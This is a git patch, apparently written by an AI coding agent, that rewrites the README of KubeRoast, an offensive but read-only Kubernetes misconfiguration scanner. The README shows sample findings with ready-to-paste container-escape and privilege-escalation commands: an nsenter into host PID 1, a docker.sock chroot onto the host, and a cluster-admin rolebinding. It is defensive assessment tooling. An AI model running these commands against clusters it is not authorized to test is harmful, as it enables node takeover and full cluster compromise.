From e76de7c4463e1c0cde17e7b935ba2cc745386aa5 Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 1 Jun 2026 03:05:53 +0000 Subject: [PATCH 1/3] v0.3.0: offensive-grade scanners, escape chains, killer CLI MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rewrites the tool from compliance checklist into operator-grade red team recon. Every finding now carries the PoC command an attacker would run, the concrete blast radius (impact), exploitability score, and ATT&CK IDs. New offensive scanners ---------------------- - escapes.py Container escape primitive analysis. Per-pod scoring with the exact exploit command for privileged+hostPID, docker.sock, containerd.sock, /var/lib/etcd, /etc/kubernetes, SYS_ADMIN, SYS_MODULE, SYS_PTRACE (rated easy/hard depending on hostPID), SYS_RAWIO, DAC_READ_SEARCH, NET_ADMIN, writable /proc/sys/kernel/core_pattern, hostNetwork, hostIPC, and the root-no-drop multiplier. - kubelet.py Active HTTP probes against /pods, /metrics, /configz on 10250 and 10255. Distinguishes anonymous-allow (critical), anonymous-but-authz (medium), proper 401 (info — good). - tokens.py JWT decode of SA token Secrets. Flags legacy non-expiring tokens as persistence risk; surfaces non-default audiences (IRSA / Workload Identity). - configmaps.py Credential hunt in ConfigMaps — high-signal regexes for AWS AKIDs, PEM keys, GCP service-account JSON, GitHub PATs, Slack tokens, JDBC URLs, Azure connection strings. Redacts long matches. - webhooks.py Admission webhook bypass audit — failurePolicy=Ignore, long timeouts, sideEffects=Unknown, missing caBundle. New multi-hop attack path module -------------------------------- - attackpaths/sa_chains.py BFS over an escalation graph with edges for create-pod-as-SA, exec-into-SA-pod, patch-deployment-as-SA, create/update RoleBindings, escalate verb, impersonate, and serviceaccounts/token. Emits one finding per chain with per-hop PoC commands. Workload coverage ----------------- - workloads.py Extracts pod templates from Deployment, StatefulSet, DaemonSet, Job, CronJob, ReplicaSet, ReplicationController. Findings get relabeled from pod/X to /X for clear attribution. Shift-left manifest mode ------------------------ - manifests.py YAML/JSON loader with camelCase→snake_case (including k8s python client quirks like external_i_ps). --manifests runs the same rules without API access. Finding model ------------- - New fields: exploitability, exploit, impact, attack_techniques. CLI --- - ASCII banner, ANSI colors with NO_COLOR support, --no-color flag, --version, --min-exploitability filter, --skip-kubelet-probe, --skip-configmaps, --skip-webhooks, richer --help with examples. - Text reporter shows severity histogram, exploitability breakdown, and per-finding PoC blocks. Tests ----- - 38 → 134 (3.5×). New suites: test_escapes (24), test_workloads (8), test_configmaps (17), test_tokens (7), test_webhooks (9), test_sa_chains (8), test_manifests (11), test_kubelet (12) with a real local HTTP server so HTTP code paths actually run. Docs ---- - README rewritten around the operator playbook: sample finding output, 5-minute triage workflow, full scanner table, comparison vs kube-bench / kubescape / kube-hunter, snailsploit.com docs link prominent. https://claude.ai/code/session_01Eq8TDiVnuuVQU2HR9KtCNg --- README.md | 522 +++++++++++++++++------------ kuberoast/__init__.py | 3 +- kuberoast/attackpaths/sa_chains.py | 322 ++++++++++++++++++ kuberoast/cli.py | 242 +++++++++++-- kuberoast/reporting/text.py | 73 +++- kuberoast/scanners/configmaps.py | 136 ++++++++ kuberoast/scanners/escapes.py | 383 +++++++++++++++++++++ kuberoast/scanners/kubelet.py | 265 +++++++++++++++ kuberoast/scanners/pods.py | 2 +- kuberoast/scanners/shared.py | 8 +- kuberoast/scanners/tokens.py | 166 +++++++++ kuberoast/scanners/webhooks.py | 114 +++++++ kuberoast/utils/colors.py | 64 ++++ kuberoast/utils/findings.py | 7 + kuberoast/utils/kube.py | 68 ++++ kuberoast/utils/manifests.py | 153 +++++++++ kuberoast/utils/workloads.py | 98 ++++++ pyproject.toml | 6 +- tests/conftest.py | 112 ++++++- tests/test_configmaps.py | 119 +++++++ tests/test_escapes.py | 227 +++++++++++++ tests/test_kubelet.py | 212 ++++++++++++ tests/test_manifests.py | 185 ++++++++++ tests/test_reporting.py | 2 +- tests/test_sa_chains.py | 149 ++++++++ tests/test_tokens.py | 99 ++++++ tests/test_webhooks.py | 68 ++++ tests/test_workloads.py | 101 ++++++ 28 files changed, 3648 insertions(+), 258 deletions(-) create mode 100644 kuberoast/attackpaths/sa_chains.py create mode 100644 kuberoast/scanners/configmaps.py create mode 100644 kuberoast/scanners/escapes.py create mode 100644 kuberoast/scanners/kubelet.py create mode 100644 kuberoast/scanners/tokens.py create mode 100644 kuberoast/scanners/webhooks.py create mode 100644 kuberoast/utils/colors.py create mode 100644 kuberoast/utils/manifests.py create mode 100644 kuberoast/utils/workloads.py create mode 100644 tests/test_configmaps.py create mode 100644 tests/test_escapes.py create mode 100644 tests/test_kubelet.py create mode 100644 tests/test_manifests.py create mode 100644 tests/test_sa_chains.py create mode 100644 tests/test_tokens.py create mode 100644 tests/test_webhooks.py create mode 100644 tests/test_workloads.py diff --git a/README.md b/README.md index 947ebc7..50392c4 100644 --- a/README.md +++ b/README.md @@ -1,241 +1,327 @@

Python 3.9+ MIT License - Tests - Version + Tests + Version + Read-only

KubeRoast

- Red-team Kubernetes misconfiguration & attack-path scanner
- Fast, opinionated, read-only. Built for real-world escalation paths. + Offensive Kubernetes scanner. Built for operators, not auditors.
+ Concrete attack primitives, multi-hop escalation chains, and PoC commands — + not a checklist of fields.

+ 📖 Docs & methodology → snailsploit.com/tools +

+ +

+ WhyQuick Start • - What It Finds • - Usage • - CI/CD • - Output • - Contributing + Operator Playbook • + Coverage • + Shift-Left • + CI/CD

--- -> **Ethical use only.** Run KubeRoast only on clusters you own or have explicit written permission to test. +> **Ethical use only.** Run KubeRoast against clusters you own or have written authorization to test. This is an assessment tool for self-deployed environments. + +## What makes this different -## Why KubeRoast +Most "Kubernetes security scanners" output a wall of *"field X not set to Y"* checklists. Useful for compliance auditors. Useless when you have a kubeconfig and 30 minutes to find a path to cluster-admin. -Most Kubernetes security scanners generate noise. KubeRoast focuses on **what actually gets you owned** — privilege escalation paths, exposed kubelets, over-permissioned RBAC, network services open to the internet, and secrets sitting in plain sight. It reads, never writes. Safe to run in production. +KubeRoast is built around the questions an operator actually asks: + +| Question | What KubeRoast does | +|---|---| +| *"If I land RCE in this container, how fast can I get to the node?"* | Per-pod **escape primitive scoring** with the exact PoC command (docker.sock → `docker -H unix:///var/run/docker.sock …`, SYS_ADMIN → cgroup `release_agent`, etc.) | +| *"Which SAs are 1–2 hops from cluster-admin?"* | **Multi-hop RBAC chain analysis** — traverses `create pods` → `pods/exec` → `serviceaccounts/token` → `bind` graph and emits the full chain with per-hop PoC | +| *"Is this kubelet I can reach actually exploitable?"* | **Active kubelet HTTP probes** against `/pods`, `/configz`, `/metrics` on 10250/10255 — not just a TCP port check | +| *"Where are the credentials that shouldn't be there?"* | **ConfigMap credential hunt** (AKIA…, ghp_…, PEM keys, JDBC URLs, Azure connection strings) and **SA token JWT decode** (legacy non-expiring tokens, IRSA audiences) | +| *"What admission policies can I bypass?"* | **Webhook bypass audit** — `failurePolicy: Ignore` + long timeouts = DoS-bypassable | +| *"How does this Deployment look in production?"* | **Workload coverage** — extracts pod templates from Deployments, StatefulSets, DaemonSets, Jobs, CronJobs | +| *"Can I check this before the cluster exists?"* | **Shift-left manifest mode** (`--manifests ./k8s/`) — same rules, no API access required | + +Every finding carries: severity, **exploitability** (`trivial` / `easy` / `moderate` / `hard`), **impact** (concrete blast radius), the **PoC command** an operator runs to confirm, and the **MITRE ATT&CK** technique IDs. ## Quick Start ```bash -# Install git clone https://github.com/SnailSploit/KubeRoast_v1.git cd KubeRoast_v1 -pip install -e . +pip install -e '.[manifests]' -# Scan your cluster +# Live cluster scan (current kubeconfig) kuberoast --report text + +# Pre-deploy: scan a directory of YAML +kuberoast --manifests ./k8s/ --report text + +# Only show what an attacker can exploit today +kuberoast --min-exploitability easy --report text ``` -That's it. KubeRoast picks up your current kubeconfig context automatically. +## What a real finding looks like -## What It Finds +``` +[CRITICAL] trivial Trivial container escape: privileged + hostPID + id: ESC-PRIV-HOSTPID + resource: deployment/vulnerable-webapp::app + summary: Container app is privileged AND shares the host PID namespace. + Combined, these grant immediate ability to ptrace/nsenter + host PID 1 and achieve root on the node from any RCE. + impact: Root on the underlying node. Access to all other pods on + that node, kubelet credentials, and any node-local secrets. + poc: + │ nsenter --target 1 --mount --uts --ipc --net --pid -- bash + att&ck: T1611 + fix: Remove privileged=true and hostPID=true. + + +[CRITICAL] easy Escalation chain (2 hop): sa:dev:cicd → cluster-admin + id: AP-CHAIN + resource: sa:dev:cicd + summary: Principal sa:dev:cicd can reach cluster-admin in 2 step(s). + + Chain: sa:dev:cicd → sa:prod:deployer → ClusterRole/cluster-admin + + Steps: + - create a pod with serviceAccountName set to target SA + PoC: kubectl run pwn --image=busybox \ + --serviceaccount=deployer -n prod -- sleep 999 + - bind self to cluster-admin via RoleBinding write + PoC: kubectl create clusterrolebinding pwn \ + --clusterrole=cluster-admin --serviceaccount=prod:deployer + + impact: Full cluster compromise via 2-hop escalation. + att&ck: T1078.004, T1098.003 +``` -KubeRoast runs **30+ security checks** across 7 categories. Every finding includes severity, a description, actionable remediation, and reference links. +## Operator Playbook -### Pod Security (11 checks) +A 5-minute workflow for triaging a freshly-acquired cluster context: -| ID | Finding | Severity | -|---|---|---| -| `POD-PRIV` | Privileged container | Critical | -| `POD-ROOT` | Container runs as root (`runAsUser=0`) | High | -| `POD-PE` | `allowPrivilegeEscalation` not disabled | High/Medium | -| `POD-HOSTNS` | Pod uses host namespaces (network/PID/IPC) | High | -| `POD-CAPS` | Dangerous Linux capabilities (`SYS_ADMIN`, `SYS_PTRACE`, etc.) | High | -| `POD-HOSTPATH` | hostPath volume mounted | High | -| `POD-RWFS` | Writable root filesystem | Medium | -| `POD-NO-SECCOMP` | No seccomp profile configured | Medium | -| `POD-NO-LIMITS` | No CPU/memory resource limits | Medium | -| `POD-SATOKEN` | Service account token automount not disabled | Low | -| `POD-NO-APPARMOR` | No AppArmor profile configured | Low | - -### RBAC (5 checks) - -| ID | Finding | Severity | -|---|---|---| -| `RBAC-ANON` | Anonymous or wildcard user bound | Critical | -| `RBAC-CLUSTER-ADMIN` | `cluster-admin` granted via binding | Critical | -| `RBAC-ESCALATION-VERB` | Escalation verbs (`bind`/`escalate`/`impersonate`) | Critical | -| `RBAC-WILDCARD` | Wildcard `*` in role rules | High | -| `RBAC-SENSITIVE-WRITE` | Write access to sensitive resources | High | +```bash +# 1. Triage view — sorted, only what's exploitable +kuberoast --report text --min-exploitability easy -### Attack Path Modeling (1 composite check) +# 2. Drill into escape primitives only +kuberoast --report json | jq '[.[] | select(.category == "Escape")]' -| ID | Finding | Severity | -|---|---|---| -| `AP-RBAC-ESC` | RBAC permissions enable privilege escalation | Critical | +# 3. RBAC escalation map — who's near cluster-admin? +kuberoast --report json | jq '[.[] | select(.id == "AP-CHAIN") | {principal: .resource, chain: .description}]' + +# 4. Credential haul — secrets, configmaps, tokens +kuberoast --report json | jq '[.[] | select(.category | IN("Secrets","ConfigMaps","Tokens"))]' -Maps every principal (especially ServiceAccounts) to concrete escalation abilities — bind, escalate, impersonate, create pods + read secrets, exec/attach, modify nodes — and links SAs back to the pods running them. +# 5. Reachable kubelets — what's exposed? +kuberoast --report json | jq '[.[] | select(.category == "Node")]' +``` -### Network Exposure (5 checks) +Each command runs in seconds. You walk away with a prioritized hit-list, PoC commands ready to paste. -| ID | Finding | Severity | -|---|---|---| -| `NET-LB-OPEN` | LoadBalancer without `loadBalancerSourceRanges` | High | -| `NET-EXTERNAL-IP` | Service with `externalIPs` | High | -| `NET-INGRESS-NO-TLS` | Ingress without TLS | High | -| `NET-NODEPORT` | Service exposed via NodePort | Medium | -| `NET-INGRESS-WILDCARD` | Ingress with wildcard host | Medium | +## Offensive Coverage -### Node Security (2 checks) +KubeRoast runs **40+ checks across 11 categories**. Coverage emphasizes attacker-actionable findings. -| ID | Finding | Severity | +### 🚪 Container Escape Primitives ([`scanners/escapes.py`](kuberoast/scanners/escapes.py)) + +| ID | Primitive | Exploitability | |---|---|---| -| `NODE-KUBELET-RO` | Kubelet read-only port 10255 reachable | Critical | -| `NODE-KUBELET-API` | Kubelet API port 10250 reachable | Medium | +| `ESC-PRIV-HOSTPID` | Privileged + hostPID → `nsenter` host PID 1 | trivial | +| `ESC-PRIV` | Privileged → mount host fs, chroot | trivial | +| `ESC-HOSTPATH-SENSITIVE` | Sensitive hostPath (`docker.sock`, `containerd.sock`, `/etc`, `/var/lib/etcd`, `/etc/kubernetes`, `/var/lib/kubelet`, …) | trivial / easy | +| `ESC-CAP-SYS_ADMIN` | CAP_SYS_ADMIN → cgroup release_agent escape | trivial | +| `ESC-CAP-SYS_MODULE` | Load malicious kernel module | trivial | +| `ESC-CAP-SYS_PTRACE` | Attach to host PID 1 (needs hostPID) | easy | +| `ESC-CAP-SYS_RAWIO` | Read raw disk devices | easy | +| `ESC-CAP-DAC_READ_SEARCH` | Bypass file perms via `open_by_handle_at` | easy | +| `ESC-CAP-NET_ADMIN`, `NET_RAW`, `SYSLOG` | Network/log manipulation primitives | moderate | +| `ESC-PROC-WRITE` | Writable `/proc/sys/kernel/core_pattern` → host code exec on segfault | trivial | +| `ESC-HOSTNET` | hostNetwork → reach kubelet & node-local services | easy | +| `ESC-HOSTIPC` | hostIPC → side-channel host processes | moderate | +| `ESC-ROOT-NO-DROP` | UID 0 with default caps (escalation multiplier) | moderate | + +### 🔗 Multi-hop Attack Paths ([`attackpaths/sa_chains.py`](kuberoast/attackpaths/sa_chains.py)) + +| ID | What it finds | +|---|---| +| `AP-CHAIN` | Shortest path from any SA to cluster-admin (≤4 hops), traversing `create pods`, `pods/exec`, `update deployments`, `bind` / `escalate` / `impersonate`, `serviceaccounts/token`. Includes per-hop PoC. | +| `AP-RBAC-ESC` | 1-hop "this SA has cluster-takeover primitives" summary. | -Node probes run concurrently for fast scanning across large clusters. +### 🔐 Active Kubelet Probes ([`scanners/kubelet.py`](kuberoast/scanners/kubelet.py)) -### Secrets (3 checks) +| ID | What it confirms | +|---|---| +| `KUBELET-RO-PODS` | Port 10255 `/pods` returns pod inventory unauthenticated (critical / trivial) | +| `KUBELET-RO-METRICS` | Port 10255 `/metrics` unauthenticated | +| `KUBELET-API-ANON-PODS` | Port 10250 `/pods` reachable anonymously — full pod enumeration + exec (critical) | +| `KUBELET-API-AUTH` | Port 10250 properly returns 401 (info — good) | +| `KUBELET-API-AUTHZ` | Anonymous authN enabled but authZ enforced | +| `KUBELET-API-METRICS` | `/metrics` on 10250 served without auth | +| `KUBELET-CONFIGZ` | `/configz` discloses full kubelet config | + +### 🪪 Token & Credential Hunting -| ID | Finding | Severity | +| ID | Category | What it finds | |---|---|---| -| `SECRET-SENSITIVE` | Opaque secret contains credential-like keys | Medium | -| `SECRET-DOCKER-HUB` | Docker Hub credentials in secret | Medium | -| `SECRET-TLS-MANUAL` | TLS secret not managed by cert-manager | Low | +| `TOKEN-LEGACY-NONEXPIRING` | Tokens | Legacy `kubernetes.io/service-account-token` Secret with no `exp` claim — persistent SA impersonation if exfiltrated | +| `TOKEN-AUDIENCE` | Tokens | Token bound to non-default audience (often IRSA / Workload Identity / Vault) | +| `CM-LEAK-AWS-AKID` | ConfigMaps | AWS Access Key ID | +| `CM-LEAK-PRIVATE-KEY-PEM` | ConfigMaps | PEM private key (RSA/EC/OPENSSH) | +| `CM-LEAK-GCP-SA-JSON` | ConfigMaps | GCP service account JSON | +| `CM-LEAK-GITHUB-PAT` | ConfigMaps | `ghp_…` / `ghs_…` / `gho_…` | +| `CM-LEAK-SLACK-BOT` | ConfigMaps | `xoxb-…` | +| `CM-LEAK-JDBC-URL`, `CM-LEAK-GENERIC-URL` | ConfigMaps | Connection strings with embedded creds | +| `CM-LEAK-AZURE-CONN` | ConfigMaps | Azure storage connection string | +| `CM-LEAK-PASSWORD-YAML`, `CM-LEAK-APIKEY` | ConfigMaps | Plaintext password / API key in config | +| `SECRET-SENSITIVE`, `SECRET-DOCKER-HUB`, `SECRET-TLS-MANUAL` | Secrets | Sensitive keys in Opaque, Docker Hub creds, hand-managed TLS | + +### 🪝 Admission Webhook Bypass ([`scanners/webhooks.py`](kuberoast/scanners/webhooks.py)) + +| ID | Bypass primitive | +|---|---| +| `WEBHOOK-FAIL-OPEN` | `failurePolicy: Ignore` — DoS the backing service and policy fails open | +| `WEBHOOK-SLOW-TIMEOUT` | Long `timeoutSeconds` widens DoS window | +| `WEBHOOK-SIDE-EFFECTS` | `sideEffects: Unknown` / `Some` enables dry-run reconnaissance | +| `WEBHOOK-NO-CA` | Missing `caBundle` — webhook TLS unverified | -### Policy & PSS (2 checks) +### 🛡 RBAC Hygiene ([`scanners/rbac.py`](kuberoast/scanners/rbac.py)) -| ID | Finding | Severity | -|---|---|---| -| `POLICY-NONE` | No policy engine (Kyverno/Gatekeeper) detected | High | -| `PSS-NOT-ENFORCED` | Namespace lacks Pod Security Admission labels | High/Info | +| ID | Finding | +|---|---| +| `RBAC-ANON` | Anonymous or wildcard user bound | +| `RBAC-BROAD-GROUP` | `system:unauthenticated` / `system:authenticated` / `*` bound | +| `RBAC-CLUSTER-ADMIN` | cluster-admin granted via binding | +| `RBAC-ESCALATION-VERB` | `bind` / `escalate` / `impersonate` in a role | +| `RBAC-WILDCARD` | Wildcard verbs or resources in role rules | +| `RBAC-SENSITIVE-WRITE` | Write verbs on `secrets` / `pods/exec` / `rolebindings` / etc. | -System namespaces (`kube-system`, etc.) are flagged at `info` severity with tailored remediation. +### 🧱 Pod Security ([`scanners/pods.py`](kuberoast/scanners/pods.py)) -## Usage +Eleven hardening checks: `POD-PRIV`, `POD-ROOT`, `POD-PE`, `POD-HOSTNS`, `POD-CAPS`, `POD-HOSTPATH`, `POD-RWFS`, `POD-NO-SECCOMP`, `POD-NO-APPARMOR`, `POD-NO-LIMITS`, `POD-SATOKEN`. Also applied to **every workload's pod template** (Deployment, StatefulSet, DaemonSet, Job, CronJob, ReplicaSet, ReplicationController). -``` -kuberoast [OPTIONS] -``` +### 🌐 Network Exposure ([`scanners/network.py`](kuberoast/scanners/network.py)) -### Flags +`NET-LB-OPEN`, `NET-EXTERNAL-IP`, `NET-NODEPORT`, `NET-INGRESS-NO-TLS`, `NET-INGRESS-WILDCARD`. -| Flag | Default | Description | -|---|---|---| -| `--report {json,text,html}` | `json` | Output format | -| `--out FILE` | — | Write report to file (required for HTML) | -| `--kubeconfig PATH` | — | Path to kubeconfig (defaults to `~/.kube/config`) | -| `-n, --namespace NS` | — | Limit scan to a single namespace | -| `--min-severity {info,low,medium,high,critical}` | `info` | Filter out findings below this severity | -| `--fail-on {info,low,medium,high,critical}` | — | Exit code 1 if any finding meets this threshold | -| `--skip-nodes` | `false` | Skip kubelet port probes | -| `--skip-secrets` | `false` | Skip secret inspection | -| `--skip-attack-paths` | `false` | Skip RBAC attack-path analysis | -| `--provider {generic,eks,aks,gke}` | `generic` | Cloud provider hint for remediation wording | -| `-v, --verbose` | `false` | Progress logging to stderr | - -### Examples - -**Quick text scan of the default namespace:** -```bash -kuberoast -n default --report text -``` +### 📜 Policy & PSS ([`scanners/policy.py`](kuberoast/scanners/policy.py), [`scanners/pss.py`](kuberoast/scanners/pss.py)) -**Full cluster scan, only high and critical:** -```bash -kuberoast --min-severity high --report text -``` +`POLICY-NONE` (no Kyverno/Gatekeeper detected), `PSS-NOT-ENFORCED` (namespaces missing Pod Security Admission labels — info severity for system namespaces). -**HTML report for the security team:** -```bash -kuberoast --report html --out report.html -``` +## Shift-left Manifest Mode -**CI gate — fail the pipeline on critical findings:** -```bash -kuberoast --fail-on critical --report json > results.json -``` +KubeRoast runs the **exact same scanners** against YAML/JSON files — no cluster required. -**Verbose scan, skip node probes (faster):** ```bash -kuberoast -v --skip-nodes --report text +# Single file +kuberoast --manifests deploy.yaml --report text + +# Whole directory (recurses, handles multi-doc YAML, Helm output, Kustomize output) +kuberoast --manifests ./k8s/ --report text + +# Render Helm first, then scan +helm template my-chart ./chart | kuberoast --manifests /dev/stdin --report text ``` -## CI/CD Integration +Workload templates (`Deployment.spec.template`, `CronJob.spec.jobTemplate.spec.template`, etc.) get extracted and run through every pod-level scanner. ConfigMaps, Secrets, RBAC, Services, Ingresses, and Webhooks all work the same offline. -KubeRoast is designed to gate deployments. Use `--fail-on` to set the threshold: +## CI/CD ```yaml -# GitHub Actions example -- name: Security scan - run: | - pip install -e . - kuberoast --fail-on high --report json > kuberoast-results.json +# .github/workflows/security.yml +name: kuberoast +on: [pull_request] +jobs: + scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-python@v5 + with: {python-version: '3.11'} + - run: pip install 'kuberoast[manifests] @ git+https://github.com/SnailSploit/KubeRoast_v1' + - name: Scan manifests + run: kuberoast --manifests ./k8s/ --fail-on high --report json > scan.json + - if: always() + uses: actions/upload-artifact@v4 + with: {name: kuberoast-results, path: scan.json} ``` -### Exit Codes +### Exit codes | Code | Meaning | |---|---| -| `0` | Scan completed, no findings at or above `--fail-on` threshold | +| `0` | Scan complete, nothing met `--fail-on` | | `1` | Findings met or exceeded `--fail-on` threshold | | `2` | Usage error or runtime failure | -## Output Formats +## CLI Reference -### JSON (default) -Machine-readable array of findings. Pipe to `jq` for filtering: -```bash -kuberoast | jq '[.[] | select(.severity == "critical")]' ``` - -### Text -Grouped by severity, with summary line and remediation per finding: +kuberoast [OPTIONS] ``` -=== kuberoast scan: 12 findings (3 critical, 4 high, 5 medium) === ---- CRITICAL (3) --- - [CRITICAL] Privileged container - Resource: pod/prod/web-0::nginx - Description: Container runs in privileged mode, granting broad access to the host kernel. - Remediation: Remove privileged=true. Grant narrow capabilities only if needed. -``` +### Common flags -### HTML -Dark-themed report with severity badges, sortable table, and remediation guidance. Open in any browser: -```bash -kuberoast --report html --out report.html && open report.html -``` +| Flag | Default | Description | +|---|---|---| +| `--report {json,text,html}` | `json` | Output format | +| `--out FILE` | — | Write report to file (required for HTML) | +| `--manifests PATH` | — | Scan manifests offline (file or directory) | +| `--kubeconfig PATH` | — | Path to kubeconfig (defaults to `$KUBECONFIG` then `~/.kube/config`) | +| `-n, --namespace NS` | — | Limit scan to one namespace | +| `--min-severity {info,low,medium,high,critical}` | `info` | Filter by severity | +| `--min-exploitability {theoretical,hard,moderate,easy,trivial}` | — | Filter by exploitability | +| `--fail-on {info,low,medium,high,critical}` | — | Exit `1` if any finding meets the threshold | +| `--no-color` | off | Disable ANSI colors | +| `--version` | — | Print version and exit | +| `-v, --verbose` | off | Progress logging to stderr | + +### Skip flags (for large clusters) + +| Flag | Skips | +|---|---| +| `--skip-nodes` | All node-level probes | +| `--skip-kubelet-probe` | Active HTTP kubelet probing (TCP-port check still runs) | +| `--skip-secrets` | Secret heuristics + SA token analysis | +| `--skip-configmaps` | ConfigMap credential hunt | +| `--skip-attack-paths` | RBAC 1-hop + multi-hop chains | +| `--skip-webhooks` | Admission webhook audit | ## Findings Schema -Every finding follows a structured format: - ```json { - "id": "POD-PRIV", - "title": "Privileged container", - "description": "Container runs in privileged mode, granting broad access to the host kernel.", + "id": "ESC-HOSTPATH-SENSITIVE", + "title": "Container escape via hostPath /var/run/docker.sock", + "description": "Pod mounts a sensitive hostPath (/var/run/docker.sock). …", "severity": "critical", - "category": "Pod Security", + "category": "Escape", "namespace": "prod", - "resource": "pod/web-0::nginx", + "resource": "deployment/vulnerable-webapp", "metadata": {}, - "remediation": "Remove privileged=true. Grant narrow capabilities only if needed.", - "references": ["https://kubernetes.io/docs/concepts/security/pod-security-standards/"] + "remediation": "Remove the /var/run/docker.sock hostPath mount.", + "references": [ + "https://attack.mitre.org/techniques/T1611/", + "https://blog.aquasec.com/docker-socket-mount-container-escape" + ], + "exploitability": "trivial", + "exploit": "docker -H unix:///var/run/docker.sock run -v /:/host --privileged -it alpine chroot /host", + "impact": "Docker daemon socket — spawn privileged sibling containers", + "attack_techniques": ["T1611"] } ``` -**Severity levels:** `critical` > `high` > `medium` > `low` > `info` +**Severity:** `critical` > `high` > `medium` > `low` > `info` +**Exploitability:** `trivial` > `easy` > `moderate` > `hard` > `theoretical` +**Categories:** `Escape`, `AttackPath`, `Pod Security`, `RBAC`, `Network`, `Node`, `Secrets`, `ConfigMaps`, `Tokens`, `Webhooks`, `Policy` -**Categories:** Pod Security, RBAC, AttackPath, Network, Node, Secrets, Policy - -## Kubernetes RBAC +## Required RBAC KubeRoast only needs **read access**. Apply this minimal ClusterRole: @@ -246,98 +332,108 @@ metadata: name: kuberoast-reader rules: - apiGroups: [""] - resources: [pods, secrets, nodes, namespaces, services] - verbs: [get, list, watch] + resources: [pods, secrets, configmaps, nodes, namespaces, services] + verbs: [get, list] + - apiGroups: [apps] + resources: [deployments, statefulsets, daemonsets, replicasets] + verbs: [get, list] + - apiGroups: [batch] + resources: [jobs, cronjobs] + verbs: [get, list] - apiGroups: [rbac.authorization.k8s.io] resources: [roles, rolebindings, clusterroles, clusterrolebindings] - verbs: [get, list, watch] + verbs: [get, list] - apiGroups: [networking.k8s.io] resources: [ingresses] - verbs: [get, list, watch] + verbs: [get, list] + - apiGroups: [admissionregistration.k8s.io] + resources: [validatingwebhookconfigurations, mutatingwebhookconfigurations] + verbs: [get, list] - apiGroups: [apiextensions.k8s.io] resources: [customresourcedefinitions] - verbs: [get, list, watch] ---- -apiVersion: v1 -kind: ServiceAccount -metadata: - name: kuberoast - namespace: default ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRoleBinding -metadata: - name: kuberoast-reader-binding -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: kuberoast-reader -subjects: - - kind: ServiceAccount - name: kuberoast - namespace: default + verbs: [get, list] ``` -Secrets and nodes are optional — KubeRoast continues gracefully if those APIs return 401/403. +KubeRoast continues gracefully if any API returns 401/403 — partial scans are still useful. ## Architecture ``` kuberoast/ - cli.py # CLI entry point, arg parsing, orchestration + cli.py CLI, banner, orchestration utils/ - findings.py # Pydantic Finding model - kube.py # K8s API clients, pagination, error handling + findings.py Pydantic Finding model + kube.py K8s API clients, pagination, error handling + manifests.py Shift-left YAML/JSON loader (camelCase→snake_case) + workloads.py PodTemplate extraction for Deployment/etc. + colors.py ANSI colors (TTY-aware, NO_COLOR-respecting) scanners/ - pods.py # 11 pod-level security checks - rbac.py # 5 RBAC hygiene checks - network.py # Service + Ingress exposure checks - nodes.py # Concurrent kubelet port probes - secrets.py # Credential heuristics - policy.py # Policy engine (Kyverno/Gatekeeper) detection - pss.py # Pod Security Standards label checks - shared.py # Container iteration helpers + pods.py 11 pod-level hardening checks + escapes.py Container escape primitive analysis (scoring + PoC) + rbac.py RBAC hygiene + network.py Service + Ingress exposure + nodes.py Legacy TCP-port check for kubelet + kubelet.py Active HTTP probes (/pods, /configz, /metrics) + secrets.py Credential heuristics in Secrets + tokens.py JWT decode of SA tokens (legacy vs projected, audiences) + configmaps.py Credential hunt in ConfigMaps + webhooks.py Admission webhook bypass audit + policy.py Policy engine (Kyverno/Gatekeeper) detection + pss.py Pod Security Standards labels + shared.py Container iteration helpers attackpaths/ - rbac_escalation.py # RBAC privilege escalation graph + rbac_escalation.py 1-hop RBAC escalation primitives + sa_chains.py Multi-hop SA → cluster-admin BFS reporting/ - json.py # JSON output - text.py # Severity-grouped text output - html.py # Dark-themed HTML report -tests/ - test_pods.py # Pod scanner unit tests - test_rbac.py # RBAC scanner unit tests - test_network.py # Network scanner unit tests - test_secrets.py # Secret scanner unit tests - test_pss.py # PSS scanner unit tests - test_reporting.py # Output format tests + json.py JSON output + text.py Colorized severity-grouped text + html.py Dark-themed HTML report + +tests/ 134 tests covering every scanner + edge cases ``` +## Comparison + +| Capability | kuberoast | kube-bench | kubescape | kube-hunter | +|---|---|---|---|---| +| Container escape primitive scoring + PoC | ✅ | — | partial | — | +| Multi-hop RBAC escalation chains | ✅ | — | — | — | +| Active kubelet HTTP enumeration | ✅ | — | — | ✅ | +| SA token JWT decode (legacy detection) | ✅ | — | — | — | +| ConfigMap credential hunt | ✅ | — | partial | — | +| Webhook bypass audit (failurePolicy) | ✅ | — | — | — | +| Workload template coverage | ✅ | — | ✅ | — | +| Shift-left manifest mode | ✅ | — | ✅ | — | +| CIS benchmark mapping | partial | ✅ | ✅ | — | +| Single binary install | ✅ | ✅ | ✅ | ✅ | + ## Troubleshooting | Problem | Fix | |---|---| -| `403/401` on some APIs | KubeRoast continues with partial results. Add RBAC permissions above. | +| `403/401` on some APIs | KubeRoast continues with partial results. Add the RBAC above. | | No cluster found | Check `KUBECONFIG` or run `kubectl config get-contexts` | | HTML requires `--out` | `kuberoast --report html --out report.html` | -| Slow on large clusters | Use `--skip-secrets`, `--skip-nodes`, or `-n ` to scope down | -| Node probes timing out | Kubelet ports may be firewalled. Use `--skip-nodes` | +| Slow on large clusters | Use `--skip-kubelet-probe`, `--skip-configmaps`, or `-n ` | +| Kubelet probes timing out | Kubelet ports may be firewalled. Use `--skip-kubelet-probe` | +| `Manifest mode requires PyYAML` | `pip install 'kuberoast[manifests]'` | ## Roadmap -- CIS Kubernetes Benchmark tagging -- Provider-specific remediation (EKS/AKS/GKE) -- Offline manifest scanning (`--manifests`) -- Gatekeeper/Kyverno policy inventory & drift -- MITRE ATT&CK technique tags per finding -- Dockerfile for containerized scanning +- NetworkPolicy default-deny gap detection +- Cloud IMDS reachability probe (`169.254.169.254` from pod context) +- CIS Kubernetes Benchmark mapping on every finding +- SARIF 2.1.0 output for GitHub Code Scanning integration +- CRD-defined secret detection (SealedSecrets, ExternalSecrets, Vault) +- Markdown report for PR comments ## Contributing -PRs welcome. Please: +PRs welcome. Bar for new rules: -1. Add/update unit tests for each new rule -2. Ground severities in public guidance or reproducible attacker tradecraft -3. Keep remediation text explicit and actionable +1. Add unit tests that reflect a real attacker scenario, not a field-presence check +2. Severity grounded in public guidance or 